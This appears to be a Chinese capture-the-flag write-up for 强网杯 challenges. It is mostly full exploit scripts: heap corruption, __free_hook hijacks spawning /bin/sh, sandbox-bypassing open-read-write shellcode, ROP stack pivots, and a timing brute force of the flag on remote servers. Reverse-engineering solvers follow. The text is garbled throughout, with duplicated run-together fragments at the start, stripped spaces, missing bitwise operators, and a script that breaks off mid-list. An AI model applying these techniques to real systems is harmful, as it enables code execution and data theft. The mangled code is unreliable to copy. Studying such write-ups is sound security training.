add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))
# add(0x30,"cat flag\x00")add(0x30,'/bin/sh\x00') #17add(0x30,p64(system_addr)) #19
delete(17)

r.interactive()libc_base = " + hex(libc_base)
delete(17)delete(15)add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))# add(0x30,"cat flag\x00")add(0x30,'/bin/sh\x00') #17add(0x30,p64(system_addr)) #19delete(17)
r.interactive()
2.[强网先锋]orw附件:https://pan.baidu.com/s/1qXjidBqXzcH_z_kjI-gSCQ提取码:s97yRELRO没都开,能劫持got,NX也没开,总得写点shellcode。开了沙箱。是个堆只能申请两个chunk,但是好像有个序号可以越界。show edit都丢了,只剩了一个free
free还挺干净那所以我们就直接堆shellcode算了,直接数组越界,chunk地址直接写到got表,然后在那个chunk里面布置shellcode,从而劫持got表,来orw。但是问题来了,chunk的大小限制在了0-8,也就是不会整个chunk大小不会超过0x20.能够输入大小不超过8,这就不能写shellcode。然后我们看这个输入,我们发现……当输入0的时候,这个输入限制就绕过了……然后应该就成了。exp
from pwn import*
import pwn
content.log_level='debug'

def add(id,size,content):
p.recvuntil('choice n')
p.sendline('1')
p.recvuntil('ndex:n')
p.sendline(str(id))
p.recvuntil('size:n')
p.sendline(str(size))
p.recvuntil('content:n')
p.send(str(content))

def delete(id):
p.recvuntil('choice n')
p.sendline('4')
p.recvuntil('ndex:n')
p.sendline(str(id))

shellcode='''
mov r8, rdi
xor rsi,rsi
mov rdi ,r8
mov rax, 2
syscall
mov rdi, rax
mov rsi, r8
mov rdx, 0x30
mov rax, 0
syscall
mov rdi, 1
mov rsi,r8
mov rdx, 0x30
mov rax, 1
syscall
'''
payload=pwn.asm(shellcode)
add(0,8,'./flagx00'+'n')
add(-25,'a',payload+'n')


delete(0)
p.interactive()
或者from pwn import *#p=process('./pwn')p=remote("39.105.131.68","12354")context(os='linux',arch='amd64')shellcode=''' xor rax,rax xor rdi,rdi xor rsi,rsi xor rdx,rdx mov rax,2 #open 调用号为2 mov rdi,0x67676c662f2e #为 galf/. 是./flag的相反 push rdi mov rdi,rsp syscall mov rdx,0x100 #sys_read(3,file,0x100) mov rsi,rdi mov rdi,rax mov rax,0 #read 调用号0 syscall mov rdi,1 #sys_write(1,file,0x30) mov rax,1 #write调用号是1 syscall'''p.recv()p.sendline('1')p.recvuntil('index')p.sendline('-0xd')p.recvuntil('size:')p.sendline('0')p.recvuntil('content')p.sendline(asm(shellcode))#gdb.attach(p)p.sendline('5')p.interactive()
3.[强网先锋]no_output

漏洞


存在栈溢出:

思路

远程存在 real_flag.txt 读入后 unk_804C080 是 0x3

在read(0, buf, 0x30u);输入 x00 覆盖 unk_804C080 为 0x00 ,实现向 src 输入,输入对应内容进入 if 内



输入对应值后进入 if 内,配置了一个浮点数错误的 signal :在发生致命的算术运算错误时发出,不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术的错误。由于 v1 固定是 1 ,所以这种制造错误的方法 pass 。不一定要是被0除以。2的补码INT_MIN/-1除法陷阱也行:

-2147483648/-1

产生错误之后跳转运行栈溢出函数

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']


# p = process("./test")
p = remote("39.105.138.97",1234)
libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")
elf = ELF("./test")

# gdb.attach(p,"b *0x80494c0")
# gdb.attach(p,"b *0x080492E2")
# gdb.attach(p,"b *0x0804925B")
# raw_input()

p.send('x00'*2)
sleep(0.1)
p.send('./flag'.rjust(0x20,'a'))
sleep(0.2)
p.sendline("hello_boy")
sleep(0.2)
p.sendline("-2147483648")
sleep(0.2)
p.sendline("-1")

bss = 0x0804c07c-2

payload = 'a'*0x48+'b'*0x4
# payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(0x0804C060+0x100)+p32(0x100)
payload += p32(elf.plt['open'])+p32(0x08049582)+p32(bss)+p32(0)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(4)+p32(0x0804C060+0x200)+p32(0x100)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(elf.got['read'])+p32(0x100)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(1)+p32(0x0804C060+0x200)+p32(0x100)
# payload += p32(0x0804944B)
p.sendline(payload)

# gdb.attach(p,"b *0x080492E2")
# raw_input()
# p.send("./flagx00")
p.send('x30xfe')
sleep(0.2)
flag = p.recv(timeout=1)
print flag
# if '{' not in flag:
# p.close()
# return 0
p.interactive()
4.babypwn

offbynull 造成堆块重叠,然后攻击 stdout 泄露 libc ,有沙盒限制系统调用

libc是2.27的

保护全开。

还开了沙箱。

你会看到arch只能是x86_64,系统调用号小于0x40000000的时候除了execve都可以,大于等于0x40000000的时候只能是0xffffffff。

经典增删改查。

add


最多17个chunk,chunk的大小最大0x200.地址跟发小都放在了bss上面。

delete

清理的很干净

edit


edit也看着没啥,里面有个函数,进去看看。


会把所有的’\x11’变成’\x00’,但是问题就出在它没有边界,仅仅是到’\x00’就停而已。那么我们就可以有越界,来造成off by null。

show

输出都点不大正常。首先发现它是前后四个字节分开的。

然后看一下那个输出函数。

加密的,好家伙

先后四个字节分开,把四个字节当成一个整数传下去,然后经过加密,输出的是加密后的16进制,所以我们一会在使用这个函数的时候要注意写好解密算法。


最后发现有个工具,z3(https://cloud.tencent.com/developer/article/1423409)

这些chunk都是因为沙箱提前开的一些。

总的思路其实也就是说off by null + 借用setcontext来进行orw。orw没啥好说的,因为free通过rdi传参,所以我们劫持free_hook。

off by null我们还是有两种思路,一种是unlink,一种是off by null。

unlink还是通过在第一个chunk中伪造chunk,需要在堆中做一个unlink的bypass,只需要三个chunk,另外一种是off by null,需要四个chunk,制造overlap,leak libc跟tcache posioning。

都来写一下,首先时unlink。

先通过chunk的残留地址把libc,heap地址都泄露出来

我们申请了三个chunk,都不需要在第一个chunk中伪造chunk,因为我们不需要做过分的overlap,正常一点就行,off by null改掉第二个chunk的size,然后利用第三个chunk把check bypass掉。两次申请,直接tcacahe posioning。

这个是利用setcontext的对比图。

从这个地方开始就开始利用堆上提前写好的内容。

要说的是在我们利用syscall的时候,要注意libc.sym找到的syscall会在上面清零rdi rsi,而ropgadget找到的又只有syscall没有ret,所以我们只能利用libc找到的syscall从中间截取一段,也就是从syscall+23地方开始。

EXP

from pwn import*
# context.log_level='debbug'
elf=ELF('babypwn')
libc=ELF('./libc.so.6')
p=process('./babypwn',env={'LD_PRELOAD':'./libc.so.6'})
#p=process('./babypwn')
def add(size):
p.recvuntil(' n')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))

def edit(id,content):
p.recvuntil(' n')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(id))
p.recvuntil('content:')
p.send(str(content))
def delete(id):
p.recvuntil(' n')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(id))
def show(id):
p.recvuntil(' n')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(id))

add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)

for i in range(9,3,-3):
delete(i)
for i in range(7):
delete(10+i)

delete(1)
delete(0)

add(0x108)
edit(2,'b'*0xf0+p64(0)+p64(0x21))
edit(3,(p64(0)+p64(0x21))*7)
edit(0,'b'*0x108)
edit(0,'b'*0x100+p64(0x220))

delete(3)
delete(2)

add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)

add(0x200)
add(0x100)
delete(6)
delete(5)
delete(3)
delete(0)

edit(8,'a'*0x108+p64(0x110)+'x18x80')
edit(9,p64(0)+'x60xe7')
add(0x100)
add(0x100)
add(0x100)
payload=p64(0xfbad1887)+p64(0)*3+'x00'
edit(5,payload)
p.recvuntil('x00'*8)
lead_addr=u64(p.recv(8))
libc_base=lead_addr-(0x7ffff7dcf8b0-0x00007ffff79e2000)
delete(4)
delete(1)
delete(0)

free_addr=libc_base+libc.sym['__free_hook']
edit(8,'a'*0x108+p64(0x110)+p64(free_addr))

add(0x100)
add(0x100)
add(0x100)

gadget=libc_base+0x520A5
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
poprdi=libc_base+0x000000000002155f
poprsi=libc_base+0x0000000000023e6a
poprdx=libc_base+0x0000000000001b96
flag=free_addr+0xb0
add=free_addr

payload=p64(gadget)+p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open_addr)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read_addr)
payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write_addr)


edit(1,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi)+'./flag')

# gdb.attach(p)
# raw_input()
delete(1)


p.interactive()
或者
importos
importsys
importsubprocess
frompwnimport*

context.arch="amd64"
context.log_level="debug"

elf_addr="./babypwn"
pro_libc="./libc.so.6"

#sh=remote("39.105.130.158",8888)

sh=process(elf_addr)
elf=ELF(elf_addr)

defadd(size):
sh.recvuntil(" \n")
sh.sendline("1")
sh.recvuntil("size:\n")
sh.sendline(str(size))
defshow(idx):
sh.sendlineafter(" \n","4")
sh.sendlineafter("index:\n",str(idx))
defedit(idx,content):
sh.sendlineafter(" \n","3")
sh.sendlineafter("index:\n",str(idx))
sh.sendlineafter("content:\n",content)
deffree(idx):
sh.sendlineafter(" \n","2")
sh.sendlineafter("index:\n",str(idx))

defencode(a1):
d1=(32*a1) 0xffffffff
d2=d1^a1
d3=d2 17
d4=((d2^d3) 13) 0xffffffff
a1^=d1^d3^d4

d1=(32*a1) 0xffffffff
d2=d1^a1
d3=d2 17
d4=((d2^d3) 13) 0xffffffff
a1^=d1^d3^d4
returnhex(a1)[2:]

defdecode_1(a):
log.progress("decode_1")
foriinrange(0x0,0xff):
head=chr(i)+"\x7f\x00\x00"
ifencode(u32(head))==str(a,encoding='utf-8'):
success("ok~decode_1")
returnhead

defdecode_2(a):
log.progress("decode_2")
fori1inrange(0x0,0xff):
fori2inrange(0,0xff):
fori3inrange(2,0xff,0x10):
last="\x10"+chr(i3)+chr(i2)+chr(i1)
ifencode(u32(last))==str(a,encoding='utf-8'):
success("ok~decode_2")
returnlast

#offbynull;overlaping堆块向前合并
add(0xf8)#0
foriinrange(7):#1-7
add(0xf8)

add(0x108)#8
add(0x108)#9
foriinrange(1,8):#1-7
free(i)
free(0)

edit(8,b"a"*0x108)
edit(8,b"b"*0x100+p64(0x910))
edit(9,b"\x00"*0xf8+p64(0x11))
free(9)

foriinrange(7):#0-6
add(0xf8)
add(0x200)#idx_7haveidx_0-1

show(7)
a2=sh.recv(8)
sh.recvuntil("\n")
a1=sh.recv(8)
success("a1= %s",a1)
success("a2= %s",a2)
print(encode(0x7fff))
head=decode_1(a1)
last=decode_2(a2)
main_arena1488=u64(last+head)
success("main_arena96= 0x%x",main_arena1488)
libc_base=main_arena1488-1488-0x10-libc.sym["__malloc_hook"]
success("libc_base= 0x%x",libc_base)
free_hook=libc_base+libc.sym["__free_hook"]
setcontext=libc_base+libc.sym["setcontext"]

free(5)
free(6)
payload=flat([
"\x00"*0xf8,
p64(0x101)+p64(free_hook-8)
])
edit(7,payload)

add(0xf8)
add(0xf8)
shellcode="""
push1
decbyteptr[rsp]
movrax,0x7478742e67616c66
pushrax
/*callopen('rsp','O_RDONLY',0)*/
push2/*2*/
poprax
movrdi,rsp
xoresi,esi/*O_RDONLY*/
cdq/*rdx=0*/
syscall
/*callsendfile(1,'rax',0,0x7fffffff)*/
movr10d,0x7fffffff
movrsi,rax
push40/*0x28*/
poprax
push1
poprdi
cdq/*rdx=0*/
syscall
"""
payload2=flat(["/bin/sh\x00",
p64(setcontext+53),
p64(free_hook+0x10),
asm(shellcode)
])

edit(6,payload2)

frame=SigreturnFrame()
frame.rsp=free_hook+0x8
frame.rdi=(free_hook) 0xfffffffffffff000
frame.rsi=0x1000
frame.rdx=7
frame.rip=libc_base+libc.sym['mprotect']
edit(7,bytes(frame))
free(7)

sh.interactive()


5.[强网先锋]shellcode

写 shellcode 题目。分类为禁用 write 和 system ,限制 shellcode 为可见字符串类型。禁用 write 思路和蓝帽杯 slient 思路一样,读取 flag 到内存中然后比较,爆破得出 flag 。限制可见字符串类型,参考 mrctf2020_shellcode_revenge 将 shellcode 转换为可见字符串,alpha3 转换结果错误,改用 AE64 转换成功。

https://www.codenong.com/cs105236336/

https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/

参考https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/实现读取 flag 到栈上,后面就用蓝帽杯思路比较字符

EXP

# encoding:utf-8
from pwn import *
from ae64 import AE64
# context.log_level = 'debug'
# context.terminal = ['tmux','sp','-h']

file = context.binary = './shellcode'
obj = AE64()

append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax

/* read(fp,buf,0x70) */
/*mov eax,3*/
/*push 0x70*/
/*push ebx*/
/*push 3*/
/*int 0x80*/
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall


'''
shellcode_x86 = asm(shellcode_x86,arch = 'i386',os = 'linux',bits='32')
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
/*pop rcx*/
pop r10

push 0x40/*set rax*/
pop rax
xor al,0x49
syscall
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
syscall
'''

shellcode_retfq = '''
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
retfq
'''

shellcode = ''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append

shellcode += shellcode_retfq
shellcode += append

sc = obj.encode(asm(shellcode),'rbx')
#p=process(file)

# gdb.attach(p,"b *0x40026D")
# gdb.attach(p,"b *0x7ffff7ff9102")
# raw_input()

# p.send(sc)
# pause()
# p.sendline(shellcode_x86 + 0x29*'x90' + shellcode_flag)
# print p.recv()
# p.interactive()


def pwn(p, index, ch):
#gdb.attach(p,"b *0x40026D")
#pause()
p.send(sc)

shellcode=''
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $$-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $$-4; ret".format(index, ch)
p.sendline(shellcode_x86 + 0x29*'x90'+ shellcode_flag + asm(shellcode))
#print p.recv()
#p.interactive()
index = 0
a = []

while True:
for ch in range(20, 127):
p = remote('39.105.137.118','50050')
# p=process(file)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start 1.5:
a.append(ch)
print("".join([chr(i) for i in a]))
break
else:
print("".join([chr(i) for i in a]))
break
index = index + 1

print("".join([chr(i) for i in a]))


6.no output(栈迁移):

你不给输出咱wepn的pwn垃圾就是要打个输出出来, 不图别的, 诶, 就是玩儿~

检查一下程序, 发现是partial relro, 所以就想改got表, 在动态捣鼓了一段时间后发现, open函数和write函数只有倒数第一, 第二位是不同的, 于是就想修改open为write用于之后泄露, 而且还是no pie这不是乱打?

然后就是基本栈迁移, 找个好点的地给ebp和esp日后躺着, 我找的是差不多是0x804c00+0xa00, 至于为什么要再加上0xa00是因为如果不加, 日后system函数在执行的时候会将栈地址减到0x804b00左右, 而这地址不可写, 会在mov时报错

说了这么多奇奇怪怪的准备, 那么说说总思路, 两次输入’\x00’后进入第二个函数, 第二个函数分别输入int32 min和-1触发8号信号进入read, 之后先进行一次栈溢出到我们的fake stack地址, 同时输入后面要用gadget之类的东东, fake stack上再写入read(0, elf.got[‘open’], 0x100), 修改其为write, 之后维护好栈后再触发call open就相当于write(1, elf.got[‘read’], 0x4), 就泄露了地址, 后面再维护一下栈就可以getshell了

exp如下:

#!/usr/bin/env python

# coding=utf-8

from pwn import *

#sh=process('./test')

#sh=remote('39.105.138.97',1234)

elf=ELF("./test")

libc=elf.libc

context.log_level='debug'

context.arch='i386'

leave_ret=0x80491a5

ret_addr=0x0804900e

read_100_addr=0x08049236

def pwn():

sh.sendline('\x00'*1)

print str(proc.pidof(sh))

#gdb.attach(sh, '''b *0x080492a8''')

payload=p8(0)*2

#pause()

sh.sendline(payload)

sleep(1)

sh.sendline(str(-2147483648))

sh.sendline(str(-1))

payload1=p32(0)*0x12+p32(0x0804C0B0-4+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0b0-4+0xa00)+p32(0x1000)

payload2=p32(0x804c0c4+0xa00)+p32(0x804925b)+p32(0)+p32(elf.got['open'])+p32(0x100)+p32(leave_ret)+p32(0x804c0e0+0xa00)+p32(0x804936F)+p32(1)+p32(elf.got['read'])+p32(0x4)+p32(0)*2+p32(0x804c100+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0fc+0xa00)+p32(0x100)

sh.sendline(payload1)

#pause()

sh.sendline(payload2)

#pause()

sh.send(p16(0x4c90))

read_addr=u32(sh.recv())

log.success("read addr: "+hex(read_addr))

libc.address=read_addr-libc.sym['read']

log.success("system addr: "+hex(libc.sym['system']))

libc_base=read_addr-libc.sym['read']

sh.sendline(p32(0)+p32(0x804c200+0xa00)+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next()))

sh.interactive()


while True:

#sh=process('./test')

sh=remote('39.105.138.97',1234)

try:

pwn()

except:

sh.close()



7.pipeline

libc2.31

堆溢出

配合对风水直接修改pipe- data, 实现任意地址修改,

漏洞主要是写入data的时候v1是有符号16位,

后面进入函数以后是无符号整数, 会从int 16为拓展为unsigned int 64,

这里的绕过可以在前面if (size = v1) 使用v1为负数, 然后进入my_read 函数以后截取后部分这里会拓展为int类型, 这时候可以让后半部分为正数, 我们构造出来一个0xf0f00f0f的输入, 即可在后面实现配合堆风水,改掉对应的pipe- data位, 实现任意地址写

frompwnimport*
context.log_level='debug'
context.terminal=["tmux","new-window"]
p=remote("59.110.173.239",239)
#p=process("./pipeline"l)
libc=ELF("./libc-2.31.so")
defnew():
p.recvuntil(" ")
p.sendline("1")
defedit(index,size):
p.recvuntil(" ")
p.sendline("2")
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("offset:")
p.sendline(str(0))
p.recvuntil("size:")
p.sendline(str(size))
defdestroy(index):
p.recvuntil(" ")
p.sendline("3")
p.recvuntil("index:")
p.sendline(str(index))
defappend(index,size,data):
p.recvuntil(" ")
p.sendline("4")
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("data:")
p.sendline(data)
defshow(index):
p.recvuntil(" ")
p.sendline("5")
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("data:")

new()
new()
new()
edit(0,0x68)
edit(1,0x68)
edit(0,0)
edit(1,0)

edit(1,0x68)


edit(0,0x450)
edit(1,0x78)
edit(0,0)
edit(0,0x18)
show(0)
#leaklibc
libc_base=u64(p.recv(6).ljust(8,b"\x00"))-96-libc.symbols["__malloc_hook"]-0x10-0x400
#getshell
new()
payload=b'b'*0x18+p64(0x21)
payload+=p64(libc_base+libc.symbols["__free_hook"])
payload+=p32(0)+p32(0x100)
append(0,0x80000100,payload)

#gdb.attach(p)
append(3,0x20,p64(libc_base+libc.symbols["system"]))
append(0,0x20,'/bin/sh\x00')
edit(0,0)
log.info("libc_base------------------ "+hex(libc_base))
p.interactive()


RE附件:https://pan.baidu.com/s/1fU--SjhDX0QrB3b9nPsDEQ,提取码:subo1.ezmath奇怪的思路,但也算是出了flag。
bdl_4020是一个double数组,内容是19个小数。sub_13F3函数如图:
v3的初值是0.2021,但是在运行过程中修改成了0.000483v3是一个递推的关系,递推公式是a n + 1 = e − n × a n a_{n+1}=e-n\times a_nan+1=e−n×an
用python简单的打一个表,可以发现v3初值无论为多少,经过80次左右的循环后,都会在正负无穷之间跳跃。
v3 = [0.000483] for i in range(0x2021,0x2021+100): v3.append(math.e-i*v3[-1])
v3[-20:][-inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf]v3是不收敛的,更不用说令v3等于double数组中的小数值。多种尝试无果,于是尝试让a n强行收敛试试,也就是令


化简得:
很奇怪但大家懂这意思就行
观察double数组中的值,e i \frac{e}{i}ie的值都接近整数 [math.e/i for i in dbl][27751.99996396786, 26466.999962218535,29564.999966177365,24930.99995989091,24430.999959070075, 26981.999962939633,24430.999959070075, 25960.999961482154, 24426.999959063374,25965.99996148958, 24426.999959063374, 24939.999959905384,24430.999959070075, 24932.99995989413, 24418.999959049965,26996.999962960217, 24431.999959071745, 24941.999959908593,32098.999968847354]可以初步判断是正确的于是把的值作为flag内容代码如下from math import *a = [0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,\ 0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,\ 0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,\ 0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,\ 0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,\ 0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,\ 0.00008468431512187874]aa = [round(e/i) for i in a]
def f(n): b = bin(n)[2:].zfill(16) return chr(int(b[8:],2))+chr(int(b[:8],2)) #是后半段+前半段,要反过来print(''.join(f(i) for i in aa))
#===============输出========================#hlcg}scao_fio_iek_nek_lao_eac_uip_nac}很明显有flag的形式了,但是需要调整。前缀“ flag{ ”与输出“ hlcg} ”,观察得到,是每两个字符的前一个字符,对应ASCII码+2即可。于是修改函数的返回值
def f(n): b = bin(n)[2:].zfill(16) return chr(int(b[8:],2)-2)+chr(int(b[:8],2)) #这里减2得到输出flag{saam_dim_gei_lei_jam_caa_sin_laa}
import codecs
t=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,
0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,
0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,
0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,
0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,
0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,
0.00008468431512187874]
div = 2.718281828459045
def c(n):
t_int = int(div // n)
print(hex(t_int))
if abs(t_int * n - div) abs((t_int - 1) * n - div):
t_int -=1
t_hex = hex(t_int)[2:]
t_chr = codecs.decode(t_hex,'hex')
return t_chr[::-1].decode()

for i in t:
print(c(i),end='n')
2.LongTimeAgo
def xt_dec(num, enc, k):
value0 = enc[0]
value1 = enc[1]
data = 0x70C88617
sum = 0xE6EF3D20
for i in range(num):
value1 -= (((value0 4) ^ (value0 5)) + value0) ^ (sum + k[(sum 11) 3])
value1 = 0xffffffff
sum += data
value0 -= (((value1 4) ^ (value1 5)) + value1) ^ (sum + k[sum 3])
value0 = 0xffffffff
return (value0, value1)
def t_dec(enc, k):
value0 = enc[0]
value1 = enc[1]
sum = 0xa6a53780
data = 0x3D3529BC
for i in range(32):
value1 -= ((value0 4) + k[2]) ^ (value0 + sum) ^ ((value0 5) + k[3])
value1 = 0xffffffff
value0 -= ((value1 4) + k[0]) ^ (value1 + sum) ^ ((value1 5) + k[1])
value0 = 0xffffffff
sum -= data
return (value0, value1)
encode = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537]
for i in range(0, 4, 2):
encode[i] ^= 0xfd
encode[i + 1] ^= 0x1fd
for i in range(4, 8, 2):
encode[i] ^= 0x3fd
encode[i + 1] ^= 0x7fd
k = [0xfffd, 0x1fffd, 0x3fffd, 0x7fffd]
result = ''
for i in range(0, 4, 2):
a = xt_dec(32, encode[i:], k)
result += hex(a[0])[2:] + hex(a[1])[2:]
for i in range(4, 8, 2):
a = t_dec(encode[i:], k)
result += hex(a[0])[2:] + hex(a[1])[2:]
print("QWB{" + result.upper() + "}")

3.StandOnTheGiants

题目的 java 层没什么代码,输入后直接调用 native 校验。校验函数伪代码如下:

v3=env;
v4=0;
v20=a3;
v5=(*env)- GetStringUTFChars(env,a3,0);
v6=strlen(v5);
v8=malloc(2*v6+4);
v9=v8;
while(v6!=v4)
{
hex_byte_52318(v9,-1,v7,v5[v4]);
v9+=2;
++v4;
}
ctx=BN_CTX_new_5235C();
BN_CTX_start_5249C(ctx);
bn_m=BN_CTX_get_5264C(ctx);
BN_set_5BB08( bn_m,v8);
free(v8);
bn_N=BN_CTX_get_5264C(ctx);
bn_e=BN_CTX_get_5264C(ctx);
_aeabi_memcpy8(temp,byte_2C6B0,0xD1);
for(i=0;i!=0xD1;++i)
temp[i]^=0x3Du;
BN_set_5BB08( bn_N,temp);
_aeabi_memclr8(temp,209);
v12=0;
v21=0;
v22=0;
while(v12!=6)
*( v21+v12++)^=0x30u;
++BYTE1(v21);
++BYTE1(v22);
BN_set_5BB08( bn_e, v21);
v21=0;
v22=0;
bn_c=BN_CTX_get_5264C(ctx);
BN_powmod_529BC(bn_c,bn_m,bn_e,bn_N,ctx);
v14=sub_565A8(bn_c);
v15=malloc((v14+7)/8);
v16=sub_56EB8(bn_c,v15);
BN_CTX_end_525B8(ctx);
BN_CTX_free_523E8(ctx);
v17=calloc(3u,v16);
base64_52044(v15,v17,v16,0);
free(v15);
v18=strcmp(
"bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG"
"+/lmqEysrTdSD+eP+moP+l?+Np/oK=",
v17);
free(v17);
(*v3)- ReleaseStringUTFChars(v3,v20,v5);
result=_stack_chk_guard;
if(_stack_chk_guard==v27)
result=v18;
returnresult;

静态编码了 openssl,利用其大数库实现了 RSA 加密。RSA 中的 n 是可查询到的。所以反解就容易了,唯一麻烦的是 base64 的反解。程序中使用的 base64 表中字符并不都是唯一的,有两个字符是重复的,所以还是要跑下,代码如下:

#-*-coding:utf-8-*-
importbase64
importgmpy2
importstring,itertools

t1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@12'
t2=string.uppercase+string.lowercase+string.digits+'+/'
defmain():
#a=[0x0C,0x0E,0x0F,0x0C,0x79,0x0F,0x7B,0x79,0x79,0x79,
#0x78,0x05,0x7F,0x79,0x04,0x79,0x7B,0x7B,0x0E,0x0A,
#0x04,0x7C,0x7B,0x7B,0x0D,0x0E,0x0D,0x79,0x78,0x0F,
#0x0D,0x08,0x7F,0x05,0x09,0x0B,0x78,0x7F,0x08,0x7E,
#0x78,0x7E,0x7E,0x09,0x0D,0x7B,0x7C,0x05,0x7C,0x7C,
#0x04,0x7E,0x0F,0x7C,0x05,0x08,0x7E,0x78,0x0E,0x78,
#0x04,0x04,0x0F,0x0C,0x04,0x0E,0x78,0x05,0x0A,0x0E,
#0x7F,0x0F,0x7F,0x7E,0x0B,0x0B,0x0A,0x79,0x7C,0x7F,
#0x78,0x0F,0x7C,0x7E,0x0E,0x78,0x78,0x04,0x79,0x79,
#0x0F,0x0E,0x7F,0x0E,0x7C,0x04,0x78,0x79,0x04,0x78,
#0x7E,0x0D,0x7E,0x0E,0x7E,0x0A,0x09,0x09,0x08,0x0B,
#0x0B,0x0E,0x7B,0x08,0x09,0x08,0x08,0x09,0x0B,0x04,
#0x7F,0x0A,0x0F,0x0A,0x79,0x79,0x0B,0x7B,0x7F,0x7E,
#0x0D,0x0E,0x7F,0x0C,0x7F,0x7B,0x04,0x08,0x79,0x0D,
#0x0E,0x7C,0x0C,0x0E,0x7E,0x0D,0x0E,0x0B,0x05,0x0B,
#0x09,0x08,0x0A,0x0B,0x0A,0x0B,0x0E,0x0D,0x7E,0x0A,
#0x78,0x7C,0x7F,0x7B,0x08,0x78,0x0A,0x7C,0x7F,0x08,
#0x7B,0x7C,0x0F,0x0A,0x7F,0x04,0x09,0x7C,0x79,0x78,
#0x0A,0x78,0x0C,0x78,0x0F,0x0E,0x7F,0x7E,0x7E,0x0B,
